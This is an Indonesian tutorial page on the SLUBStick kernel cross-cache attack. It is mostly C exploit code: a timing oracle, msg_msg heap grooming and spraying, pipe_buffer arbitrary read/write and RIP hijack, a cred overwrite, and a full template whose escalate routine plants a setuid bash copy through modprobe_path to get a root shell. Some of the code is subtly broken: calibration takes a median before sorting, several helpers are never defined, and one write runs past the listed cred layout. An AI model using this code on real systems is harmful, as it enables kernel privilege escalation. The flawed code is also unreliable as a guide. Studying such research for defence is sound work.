// USENIX Security 2024 · Graz University of Technology

SLUBStick

Tutorial lengkap teknik cross-cache exploitation pada Linux Kernel 6.x menggunakan timing side-channel untuk melewati mitigasi heap isolation modern.

Linux Kernel 6.x SLUB Allocator Cross-Cache Attack USENIX Sec 2024
01

Pengenalan SLUBStick

SLUBStick adalah teknik eksploitasi kernel Linux yang dipublikasikan pada USENIX Security 2024 oleh Lukas Maar, Stefan Gast, dkk. dari Graz University of Technology. Teknik ini memanfaatkan timing side-channel pada SLUB allocator untuk mengonversi limited heap vulnerability (UAF, OOB write, double-free) menjadi primitif baca/tulis memori arbiter — bahkan pada kernel dengan mitigasi canggih seperti SLAB_FREELIST_RANDOM, SLAB_FREELIST_HARDENED, dan INIT_ON_FREE.

💡 Key InsightSLUBStick mengeksploitasi perbedaan waktu antara alokasi dari partial slab vs. alokasi slab baru yang memerlukan page baru dari buddy allocator. Perbedaan ini digunakan sebagai oracle untuk mendeteksi kapan cross-cache confusion terjadi.

Mengapa SLUBStick Signifikan?

02

SLUB Allocator — Arsitektur Internal

SLUB (Unqueued Slab Allocator) adalah implementasi slab allocator default di Linux sejak kernel 2.6.23. Ia mengelola alokasi objek kernel berukuran kecil-menengah secara efisien dengan mengelompokkan objek sejenis ke dalam slab (halaman memori).

// SLUB Internal Memory Hierarchy kmem_cache (per-type cache) ├── name, size, object_size, align, flags ├── cpu_slab → kmem_cache_cpu [per-CPU] │ ├── freelist → linked list of free objects │ ├── tid → transaction ID (ABA protection) │ ├── slab → current active slab page │ └── partial → partially-used pages (per-CPU) └── node[] → kmem_cache_node [per-NUMA node] ├── nr_partial ├── partial → list_head of partial slabs └── full → (DEBUG only) Slab Page (struct slab) ├── objects: N → total objects per slab ├── inuse: K → K objects in use ├── freelist → first free object pointer └── [obj0][obj1]...[objN-1] Object Layout (FREELIST_HARDENED) [ freeptr=fp ^ secret ^ swab(addr) ][ user data ][ redzone ]

Alur Alokasi — 3 Path

1

Fast Path — CPU Freelist

Cek cpu_slab->freelist. Jika tidak NULL, ambil objek dari sana (O(1), tanpa lock). Latency ~50–200 ns.

2

Slow Path — Partial Slabs

Jika CPU freelist kosong, cari partial slab di cpu_slab->partial atau node->partial. Butuh lock n->list_lock.

3

New Slab — Buddy Allocator

Jika partial kosong, minta halaman baru dari buddy allocator (alloc_slab_page()). Latency ~800–5000 ns. Inilah kunci SLUBStick.

Cinclude/linux/slub_def.h (diringkas)
struct kmem_cache {
    struct kmem_cache_cpu __percpu *cpu_slab;
    slab_flags_t flags;
    unsigned int  size;        /* object size incl. metadata */
    unsigned int  object_size;
    unsigned int  offset;      /* freeptr offset in object */
    const char   *name;
    struct kmem_cache_node *node[MAX_NUMNODES];
};

struct kmem_cache_cpu {
    void         **freelist; /* ptr ke free object berikut */
    unsigned long tid;       /* transaction id (ABA) */
    struct slab  *slab;     /* active slab page */
    struct slab  *partial;  /* per-CPU partial list */
    local_lock_t  lock;
};

/* Freepointer encoding (CONFIG_SLAB_FREELIST_HARDENED) */
/* encoded = fp ^ s->random ^ swab(freeptr_addr) */
03

Cross-Cache Attack — Konsep Dasar

Cross-cache attack memanfaatkan fakta bahwa saat seluruh objek dalam slab habis di-free, halaman dikembalikan ke buddy allocator dan bisa dialokasikan ulang oleh kmem_cache yang berbeda.

// Cross-Cache Confusion Scenario Fase 1: Cache A (kmalloc-1024) menguasai Page P Page P: [ ObjA_0 ][ ObjA_1 ][ ObjA_2 ][ ObjA_3 ] ↑ UAF dangling pointer ke ObjA_1 Fase 2: Semua objek di Page P di-free → buddy allocator Page P: [ FREE ][ FREE ][ FREE ][ FREE ] Fase 3: Cache B (msg_msg 1024B) mengambil Page P Page P: [ ObjB_0 ][ ObjB_1 ][ ObjB_2 ][ ObjB_3 ] ↑ dangling ptr Cache A → ObjB_1! Exploit: tulis via dangling ptr → corrupt ObjB_1.m_ts → OOB Read
⚠️ Masalah KlasikCross-cache tradisional memiliki success rate <10%: tidak ada sinyal kapan page reuse terjadi, cache A mungkin reclaim halaman duluan, dan randomisasi freelist mempersulit prediksi slot. SLUBStick memecahkan ini dengan timing side-channel.
04

Gambaran Umum SLUBStick

KomponenTujuanMekanisme
Timing OracleDeteksi kondisi slabUkur latency kmalloc: fast-path vs new-slab
Slab GroomingKontrol state heapAlokasi/free terstruktur untuk drain partial slabs
Cross-Cache SprayPaksakan page reuseSetelah deteksi slow-path, flood cache target
// SLUBStick Attack Flow [1] Identifikasi bug (UAF/double-free/OOB) dan cache target [2] Heap grooming: drain partial slabs cache target [3] Trigger vulnerability → dangling pointer [4] Loop timing: alloc → ukur latency → free Latency TINGGI (slow-path) → PAGE REUSE DETECTED! [5] Segera spray objek Cache B → cross-cache confusion [6] Bangun arb R/W → escalate to root
05

Timing Side-Channel — Detail

KondisiPathLatency TipikalPenjelasan
Partial slab tersediaFast path~50–200 nsAmbil dari CPU freelist, tanpa lock berat
Partial kosong → new slabSlow path~800–5000 nsMinta halaman baru dari buddy, inisialisasi slab
💡 Insight KritisPerbedaan latency ini konsisten dan bisa diukur dari userspace via RDTSC atau clock_gettime(CLOCK_MONOTONIC). Ketika slow-path terdeteksi setelah kita drain partial slabs, itu berarti buddy allocator memberi halaman baru — yang bisa jadi halaman dari cache A yang baru kita kembalikan!
Ctiming_oracle.c
/* RDTSC dengan serialisasi (penting untuk presisi) */
static inline uint64_t rdtsc_ordered(void)
{
    uint32_t lo, hi;
    __asm__ __volatile__(
        "mfence\n\t"
        "rdtsc\n\t"
        "mfence"
        : "=a"(lo), "=d"(hi) :: "memory"
    );
    return ((uint64_t)hi << 32) | lo;
}

#define THRESHOLD_CYCLES  3000ULL  /* kalibrasi dulu! */

/* Ukur latency satu alokasi msg_msg via msgsnd() */
uint64_t measure_alloc(int msqid)
{
    struct { long t; char d[64]; } msg = {.t=1};
    uint64_t t0 = rdtsc_ordered();
    msgsnd(msqid, &msg, 64, 0);
    return rdtsc_ordered() - t0;
}

/* Kalibrasi: hitung threshold otomatis */
uint64_t calibrate_threshold(void)
{
    const int N = 64;
    uint64_t fast_sum = 0;
    int qids[N];

    /* Step 1: Warm up → fast allocations */
    for (int i = 0; i < N; i++) {
        qids[i] = msgget(IPC_PRIVATE, IPC_CREAT|0666);
        fast_sum += measure_alloc(qids[i]);
    }
    uint64_t fast_avg = fast_sum / N;

    /* Step 2: Drain semua → force new slab */
    for (int i = 0; i < N; i++)
        msgctl(qids[i], IPC_RMID, NULL);

    /* Step 3: Ukur slow allocation */
    int qid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
    uint64_t slow = measure_alloc(qid);
    msgctl(qid, IPC_RMID, NULL);

    printf("[*] fast_avg=%lu slow=%lu threshold=%lu\n",
           fast_avg, slow, (fast_avg+slow)/2);
    return (fast_avg + slow) / 2;
}
06

Fase Serangan — Detail Teknis

A

Identify Bug & Cache

Tentukan jenis bug (UAF/OOB/double-free) dan cache yang terlibat. Identifikasi kmem_cache dari objek vulnerable melalui source kernel atau debugger output (slabinfo, kasan report).

B

Heap Grooming — Drain Partial Slabs

Alokasikan sejumlah objek (N_slab × objects_per_slab), lalu bebaskan dalam kelompok satu slab penuh agar SLUB mengembalikan halaman ke buddy. Ini memastikan timing oracle reliable.

Cheap_grooming.c
#define OBJ_PER_SLAB  8   /* kmalloc-1024: 8KB slab / 1024B */
#define N_SLABS       32  /* jumlah slab yang di-drain */

int groom_qids[N_SLABS * OBJ_PER_SLAB];

void drain_partial_slabs(void)
{
    int total = N_SLABS * OBJ_PER_SLAB;
    struct { long t; char d[1016]; } m = {.t=1};

    /* Alokasikan cukup banyak objek */
    for (int i = 0; i < total; i++) {
        groom_qids[i] = msgget(IPC_PRIVATE, IPC_CREAT|0666);
        msgsnd(groom_qids[i], &m, 1016, 0);
    }

    /* Bebaskan per-slab penuh (bukan acak!) */
    for (int s = 0; s < N_SLABS; s++) {
        int base = s * OBJ_PER_SLAB;
        for (int j = 0; j < OBJ_PER_SLAB; j++)
            msgctl(groom_qids[base+j], IPC_RMID, NULL);
    }
    printf("[+] Drained %d slabs → buddy allocator\n", N_SLABS);
}
C

Trigger Vulnerability → Dangling Pointer

Trigger bug target. Setelah ini dangling pointer menunjuk ke objek di slab yang akan di-cross-cache. Bebaskan semua objek lain di slab yang sama agar slab menjadi kosong dan kembali ke buddy.

D

Timing Loop — Deteksi Page Reuse

Ctiming_loop.c
#define MAX_ITER     10000
#define SPRAY_N      256

int spray_qids[SPRAY_N];

int slubstick_loop(uint64_t threshold)
{
    struct { long t; char d[1016]; } m = {.t=1};

    for (int i = 0; i < MAX_ITER; i++) {
        int qid = msgget(IPC_PRIVATE, IPC_CREAT|0666);

        uint64_t t0 = rdtsc_ordered();
        msgsnd(qid, &m, 1016, 0);
        uint64_t lat = rdtsc_ordered() - t0;

        if (lat > threshold) {
            printf("[!] SLOW @ iter=%d lat=%lu → SPRAY!\n", i, lat);
            /* Segera spray objek target */
            for (int s = 0; s < SPRAY_N; s++) {
                spray_qids[s] = msgget(IPC_PRIVATE, IPC_CREAT|0666);
                msgsnd(spray_qids[s], &m, 1016, 0);
            }
            msgctl(qid, IPC_RMID, NULL);
            return 1; /* success */
        }
        msgctl(qid, IPC_RMID, NULL);
    }
    return 0; /* gagal */
}
E

Build Arb R/W & Escalate

Setelah cross-cache confusion: dangling pointer menunjuk ke objek dari cache berbeda. Gunakan ini untuk corrupt field kritis (misal msg_msg.m_ts) dan bangun arbitrary read/write primitive. Kemudian overwrite cred atau modprobe_path untuk root.

07

Setup Lingkungan

BASHbuild_kernel.sh
#!/bin/bash
# Build Linux 6.x untuk kernel exploit research

wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.10.tar.xz
tar xf linux-6.10.tar.xz && cd linux-6.10
make defconfig

# Append debug & hardening config
cat >> .config <<'EOF'
CONFIG_SLUB=y
CONFIG_SLUB_DEBUG=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_DEBUG_INFO=y
CONFIG_GDB_SCRIPTS=y
CONFIG_RANDOMIZE_BASE=n
CONFIG_PAGE_TABLE_ISOLATION=n
EOF

make olddefconfig
make -j$(nproc)
echo "[+] bzImage: arch/x86/boot/bzImage"
BASHrun_qemu.sh
#!/bin/bash
qemu-system-x86_64 \
    -kernel linux-6.10/arch/x86/boot/bzImage \
    -drive  file=rootfs.img,format=raw \
    -append "root=/dev/sda rw console=ttyS0 nokaslr nosmap nosmep slub_debug=FZPU oops=panic panic=1" \
    -m 2G -smp 2 \
    -net nic,model=virtio -net user,hostfwd=tcp::1337-:22 \
    -nographic \
    -s    # GDB port 1234

# GDB: gdb vmlinux -ex "target remote :1234" -ex "c"
08

Exploit Primitives — msg_msg

// struct msg_msg layout (include/linux/msg.h) Offset Field Size Keterangan 0x00 m_list.next 8B linked list (next) 0x08 m_list.prev 8B linked list (prev) 0x10 m_type 8B message type 0x18 m_ts 8B ← TEXT SIZE! corrupt ini untuk OOB read 0x20 next (msg_msgseg) 8B pointer ke segment berikut 0x28 security 8B LSM security ptr 0x30 [ user data ... ] payload (hingga PAGE_SIZE - 0x30)
Cmsg_primitive.c
#define MSG_HDR_SZ   0x30

struct msg_hdr {
    uint64_t m_list_next;  /* 0x00 */
    uint64_t m_list_prev;  /* 0x08 */
    int64_t  m_type;       /* 0x10 */
    uint64_t m_ts;         /* 0x18 ← target corrupt */
    uint64_t next_seg;     /* 0x20 */
    uint64_t security;     /* 0x28 */
};

/* Alokasi msg_msg dengan ukuran tertentu */
int alloc_msg(int msqid, long mtype, const void *data, size_t sz)
{
    uint8_t *buf = malloc(sz + 8);
    *(long*)buf = mtype;
    memcpy(buf + 8, data, sz);
    int r = msgsnd(msqid, buf, sz, 0);
    free(buf);
    return r;
}

/*
 * OOB Read via m_ts overflow:
 * Setelah cross-cache, dangling ptr → msg_msg ObjB.
 * Corrupt m_ts = 0x2000 → msgrcv() baca lebih jauh.
 * Ekspos data dari objek/slab tetangga.
 */
ssize_t oob_read(int msqid, long mtype, void *out, size_t fake_sz)
{
    uint8_t *buf = malloc(fake_sz + 8);
    ssize_t r = msgrcv(msqid, buf, fake_sz, mtype, MSG_COPY|IPC_NOWAIT);
    if (r > 0) memcpy(out, buf + 8, r);
    free(buf);
    return r;
}

/* msg_msg size mapping untuk pilih kmalloc bucket:
 * payload 16B  → obj  64B → kmalloc-64
 * payload 88B  → obj 128B → kmalloc-128
 * payload 224B → obj 256B → kmalloc-256
 * payload 480B → obj 512B → kmalloc-512
 * payload 976B → obj 1024B→ kmalloc-1024 */
09

Heap Spray Sistematis

Cheap_spray.c
/*
 * Fence Grooming Strategy:
 *
 * [FENCE_1 objects] [VULNERABLE object] [FENCE_2 objects]
 *
 * 1. Spray FENCE_1 untuk isolasi heap
 * 2. Trigger vulnerability (alokasi objek target)
 * 3. Spray FENCE_2
 * 4. Free FENCE_1 per-slab-penuh → pages kembali ke buddy
 * 5. Timing loop + spray target objects
 */
#define FENCE_SZ  64    /* jumlah objek per fence */
#define SPRAY_SZ  512

int fence1[FENCE_SZ], fence2[FENCE_SZ], spray[SPRAY_SZ];

void fence_spray_alloc(int *arr, int n, size_t payload_sz)
{
    uint8_t *data = calloc(1, payload_sz);
    for (int i = 0; i < n; i++) {
        arr[i] = msgget(IPC_PRIVATE, IPC_CREAT|0666);
        alloc_msg(arr[i], i+1, data, payload_sz);
    }
    free(data);
    printf("[+] Sprayed %d msg_msg (sz=%zu)\n", n, payload_sz);
}

void fence_free_full_slabs(int *arr, int n)
{
    int ops = OBJ_PER_SLAB;
    for (int s = 0; s < n/ops; s++)
        for (int j = 0; j < ops; j++)
            msgctl(arr[s*ops+j], IPC_RMID, NULL);
    printf("[+] Freed fence → %d slabs to buddy\n", n/ops);
}
10

Timing Measurement — Implementasi Lengkap

Cslubstick_timing.c — compile: gcc -O2 -o timing slubstick_timing.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sched.h>
#include <sys/msg.h>

static inline uint64_t tsc(void) {
    uint32_t lo, hi;
    __asm__ volatile("mfence;rdtsc;mfence":"=a"(lo),"=d"(hi)::"memory");
    return ((uint64_t)hi<<32)|lo;
}

static int cmp64(const void*a,const void*b){
    uint64_t x=*(uint64_t*)a,y=*(uint64_t*)b;
    return(x>y)-(x<y);
}

uint64_t calibrate(void) {
    const int N=128;
    uint64_t samples[N];
    int qids[N];
    struct{long t;char d[64];}m={.t=1};

    for(int i=0;i<N;i++) qids[i]=msgget(IPC_PRIVATE,IPC_CREAT|0666);
    for(int i=0;i<N;i++){
        uint64_t t=tsc();msgsnd(qids[i],&m,64,0);samples[i]=tsc()-t;
    }
    for(int i=0;i<N;i++) msgctl(qids[i],IPC_RMID,NULL);
    uint64_t fast_med=samples[N/2];

    uint64_t slow_samples[16];
    for(int i=0;i<16;i++){
        int q=msgget(IPC_PRIVATE,IPC_CREAT|0666);
        uint64_t t=tsc();msgsnd(q,&m,64,0);slow_samples[i]=tsc()-t;
        msgctl(q,IPC_RMID,NULL);
    }
    qsort(samples,N,8,cmp64);
    qsort(slow_samples,16,8,cmp64);
    uint64_t thr=(fast_med+slow_samples[8])/2;
    printf("[+] fast=%lu slow=%lu threshold=%lu\n",fast_med,slow_samples[8],thr);
    return thr;
}

int main(void) {
    cpu_set_t s; CPU_ZERO(&s); CPU_SET(0,&s);
    sched_setaffinity(0,sizeof(s),&s); /* pin CPU0 */

    uint64_t thr=calibrate();
    int fast=0,slow=0;
    struct{long t;char d[64];}m={.t=1};

    printf("[*] Timing loop 5000 iters...\n");
    for(int i=0;i<5000;i++){
        int q=msgget(IPC_PRIVATE,IPC_CREAT|0666);
        uint64_t t=tsc();msgsnd(q,&m,64,0);
        uint64_t lat=tsc()-t;
        if(lat>thr){slow++;
            if(slow<=5)printf("  SLOW iter=%d lat=%lu\n",i,lat);
        }else fast++;
        msgctl(q,IPC_RMID,NULL);
    }
    printf("[+] fast=%d slow=%d (slow=%.1f%%)\n",
           fast,slow,slow/5000.0f*100);
    return 0;
}
11

Full Exploit Template

⚠️ PeringatanTemplate akademik untuk penelitian keamanan. Bagian bertanda IMPLEMENT memerlukan adaptasi ke bug spesifik. Gunakan hanya di lingkungan lab yang sah.
Cslubstick_template.c — gcc -O2 -static -o exploit slubstick_template.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/msg.h>
#include <sys/ipc.h>

/* ───── CONFIG ───── */
#define OBJ_PER_SLAB   8
#define N_GROOM_SLABS  32
#define SPRAY_N        256
#define MAX_LOOP       20000
#define TIMING_THRESH  3000ULL /* cycles — kalibrasi dulu */

static inline uint64_t rdtsc() {
    uint32_t lo,hi;
    __asm__ volatile("mfence;rdtsc;mfence":"=a"(lo),"=d"(hi)::"memory");
    return((uint64_t)hi<<32)|lo;
}

/* ───── VULNERABILITY STUBS ─────
 * Implementasikan sesuai bug target */
void vuln_open(void)     { /* IMPLEMENT: buka device vulnerable */ }
void vuln_trigger(void) { /* IMPLEMENT: trigger UAF/OOB → dangling ptr */ }
void vuln_write(uint64_t off, uint64_t val) { /* IMPLEMENT: tulis via dangling ptr */ }
uint64_t vuln_read(uint64_t off) { return 0; /* IMPLEMENT */ }

/* ───── GROOM ───── */
int groom[N_GROOM_SLABS * OBJ_PER_SLAB];
int spray_qids[SPRAY_N];

void do_groom(void) {
    int total = N_GROOM_SLABS * OBJ_PER_SLAB;
    struct{long t;char d[1016];}m={.t=1};
    for(int i=0;i<total;i++){
        groom[i]=msgget(IPC_PRIVATE,IPC_CREAT|0666);
        msgsnd(groom[i],&m,1016,0);
    }
    for(int s=0;s<N_GROOM_SLABS;s++)
        for(int j=0;j<OBJ_PER_SLAB;j++)
            msgctl(groom[s*OBJ_PER_SLAB+j],IPC_RMID,NULL);
    printf("[+] Groomed: %d slabs returned to buddy\n",N_GROOM_SLABS);
}

void do_spray(void) {
    struct{long t;char d[1016];}m={.t=1};
    /* Optionally: fill d[] with fake msg_hdr for OOB */
    for(int i=0;i<SPRAY_N;i++){
        spray_qids[i]=msgget(IPC_PRIVATE,IPC_CREAT|0666);
        msgsnd(spray_qids[i],&m,1016,0);
    }
    printf("[+] Sprayed %d target objects\n",SPRAY_N);
}

/* ───── PRIV ESC via modprobe_path ───── */
uint64_t leak_sym(const char*sym){
    FILE*f=fopen("/proc/kallsyms","r");
    if(!f)return 0;
    uint64_t a;char t,n[256];
    while(fscanf(f,"%lx %c %255s\n",&a,&t,n)==3)
        if(!strcmp(n,sym)){fclose(f);return a;}
    fclose(f);return 0;
}

void escalate(void){
    uint64_t modprobe=leak_sym("modprobe_path");
    printf("[*] modprobe_path @ 0x%lx\n",modprobe);

    FILE*f=fopen("/tmp/x","w");
    fprintf(f,"#!/bin/sh\ncp /bin/bash /tmp/r\nchmod +s /tmp/r\n");
    fclose(f);chmod("/tmp/x",0777);

    f=fopen("/tmp/trig","w");
    char mag[]={0xff,0xff,0xff,0xff};
    fwrite(mag,1,4,f);fclose(f);chmod("/tmp/trig",0777);

    /* arb_write(modprobe, "/tmp/x\0", 8); -- gunakan write primitive */
    system("/tmp/trig");

    if(!access("/tmp/r",F_OK)){
        printf("[+] ROOT! Spawning shell...\n");
        execl("/tmp/r","r","-p",NULL);
    }
}

/* ───── MAIN ───── */
int main(void){
    printf("[*] SLUBStick Template — Linux 6.x\n");

    cpu_set_t cs; CPU_ZERO(&cs); CPU_SET(0,&cs);
    sched_setaffinity(0,sizeof(cs),&cs);

    printf("[1] Opening vuln...\n");   vuln_open();
    printf("[2] Grooming heap...\n");  do_groom();
    printf("[3] Trigger vuln...\n");   vuln_trigger();

    printf("[4] SLUBStick timing loop...\n");
    struct{long t;char d[64];}m={.t=1};
    int ok=0;
    for(int i=0;i<MAX_LOOP;i++){
        int q=msgget(IPC_PRIVATE,IPC_CREAT|0666);
        uint64_t t=rdtsc();msgsnd(q,&m,64,0);
        uint64_t lat=rdtsc()-t;
        if(lat>TIMING_THRESH){
            printf("[!] Slow @ iter=%d lat=%lu → cross-cache!\n",i,lat);
            do_spray(); ok=1;
            msgctl(q,IPC_RMID,NULL); break;
        }
        msgctl(q,IPC_RMID,NULL);
    }
    if(!ok){printf("[-] Cross-cache not detected.\n");return 1;}

    printf("[5] Verify via dangling ptr...\n");
    uint64_t v=vuln_read(0x10);
    printf("[*] Read @ +0x10: 0x%lx\n",v);

    printf("[6] Escalating...\n");
    escalate();
    return 0;
}
12

Target Kernel Objects

ObjectCache/SizeSyscall AllocKegunaan
msg_msgkmalloc-N (flex)msgsnd()OOB R/W via m_ts corruption
pipe_bufferkmalloc-64pipe()Arb R/W via page+ops field
tty_structkmalloc-1024open(/dev/ptmx)ops ptr hijack → RIP via ioctl
user_key_payloadkmalloc-Nadd_key()Flexible size, OOB read
seq_operationskmalloc-32open(/proc/self/stat)Function ptr hijack (start/show)
subprocess_infokmalloc-96indirect (modprobe)path field → arbitrary exec
sk_buffkmalloc-256sendmsg()Network data manipulation
13

Pipe Read/Write Primitive

Cpipe_primitive.c
/*
 * struct pipe_buffer (include/linux/pipe_fs_i.h):
 * 0x00  page*    → halaman yang di-hold  ← overwrite untuk arb read
 * 0x08  offset   (4B)
 * 0x0C  len      (4B)
 * 0x10  ops*     → pipe_buf_operations  ← overwrite untuk hijack RIP
 * 0x18  flags    (4B)
 * 0x20  private
 * sizeof = 40B → kmalloc-64
 */

#define PIPE_N  256
int pr[PIPE_N], pw[PIPE_N];

void alloc_pipes(void) {
    char b[1]={0};
    int fds[2];
    for(int i=0;i<PIPE_N;i++){
        pipe(fds); pr[i]=fds[0]; pw[i]=fds[1];
        write(fds[1],b,1); /* alokasi pipe_buffer */
    }
}

/* Arb Read: set pipe_buffer.page = target_page
 * lalu read() dari pipe → kernel baca halaman target */
void pipe_arb_read(int idx, uint64_t target_page,
                   void*out, size_t sz) {
    vuln_write(0x00, target_page);        /* pipe_buffer.page */
    vuln_write(0x08, (uint64_t)sz<<32);  /* offset=0, len=sz */
    read(pr[idx], out, sz);
}

/* RIP Hijack: overwrite pipe_buffer.ops → fake ops
 * close(write_fd) → kernel panggil ops->release() */
typedef struct{uint64_t confirm,release,try_steal,get;} fake_ops_t;

void pipe_hijack_rip(int idx, uint64_t target_fn) {
    static fake_ops_t fops;
    fops.release = target_fn;
    vuln_write(0x10, (uint64_t)&fops); /* pipe_buffer.ops */
    close(pw[idx]); /* TRIGGER → ops->release() dipanggil */
}
14

Credential Overwrite

Ccred_overwrite.c
/*
 * struct cred layout (include/linux/cred.h):
 * 0x00  usage  (refcount)
 * 0x04  uid    ← set 0
 * 0x08  gid    ← set 0
 * 0x0C  suid   ← set 0
 * 0x10  sgid   ← set 0
 * 0x14  euid   ← set 0
 * 0x18  egid   ← set 0
 * 0x1C  fsuid  ← set 0
 * 0x20  fsgid  ← set 0
 * 0x24  securebits
 * 0x28  cap_inheritable ← set 0xFFFFFFFFFFFFFFFF
 * 0x30  cap_permitted   ← set 0xFFFFFFFFFFFFFFFF
 * 0x38  cap_effective   ← set 0xFFFFFFFFFFFFFFFF
 */

#define CAP_FULL  0xFFFFFFFFFFFFFFFFULL
/* TASK_CRED_OFFSET = 0x728 pada kernel 6.1 x86_64
 * cek: pahole -C task_struct vmlinux | grep " cred" */

void overwrite_cred(uint64_t cred_addr){
    /* Zero out uid/gid fields */
    for(int off=0x04;off<=0x24;off+=4)
        arb_write32(cred_addr+off, 0);
    /* Full capabilities */
    arb_write64(cred_addr+0x28, CAP_FULL);
    arb_write64(cred_addr+0x30, CAP_FULL);
    arb_write64(cred_addr+0x38, CAP_FULL);
    arb_write64(cred_addr+0x40, CAP_FULL);

    if(getuid()==0)
        printf("[+] ROOT! uid=%d\n",getuid());
}

uint64_t find_cred(void){
    /* Leak current task ptr → cred ptr */
    uint64_t task = arb_read64(per_cpu_base() + 0); /* current_task */
    uint64_t cred = arb_read64(task + 0x728);         /* kernel 6.1 */
    printf("[*] task=0x%lx cred=0x%lx\n",task,cred);
    return cred;
}
15

Mitigasi & Bypass

MitigasiEfek vs SLUBStickBypass
SLAB_FREELIST_RANDOMAcak urutan freelist di slab baruTidak blokir cross-cache — spray lebih banyak
SLAB_FREELIST_HARDENEDXOR-encode freepointerTidak relevan saat objek sudah dialokasikan
KASLRAcak base kernelButuh info leak terpisah (SLUBStick sendiri tidak bergantung)
SMEP/SMAPBlokir exec/akses userspaceGunakan kROP atau kernel gadgets
INIT_ON_FREEZero memori saat freeHapus data lama tapi tidak cegah cross-cache confusion
Strict type isolationBlokir total cross-cacheBelum ada di mainline — solusi paling efektif
Deteksi SLUBStick (Blue Team)
  • Monitor anomali pola alokasi IPC (msg_msg flood tidak wajar)
  • Deteksi penggunaan MSG_COPY yang tidak umum
  • Kernel lockdown mode — batasi akses /proc/kallsyms
  • eBPF-based syscall monitoring untuk pola heap anomali
  • Audit log msgsnd/msgget dalam jumlah ekstrem dalam waktu singkat
16

Referensi

JudulSumber
SLUBStick: Arbitrary Memory Writes through Practical Software Cross-Cache AttacksUSENIX Security 2024 — Maar, Gast et al.
Linux Kernel Source — mm/slub.ckernel.org / elixir.bootlin.com
A Journey into the Linux Kernel HeapPhrack #69
msg_msg-based Kernel ExploitscorCTF, HITCON writeups
Cross-Cache Attack TechniquesGoogle Project Zero blog
Understanding GFP flags and Slab BehaviorLWN.net
✅ SummarySLUBStick = timing side-channel + heap grooming + cross-cache spray. Success rate ~99% karena timing oracle memberikan sinyal deterministik kapan page reuse terjadi. Kunci: drain partial slabs, trigger bug, loop timing, spray saat slow-path, bangun arb R/W, escalate.

Blue Dragon Security | @w1sdom | Untuk riset keamanan dan pendidikan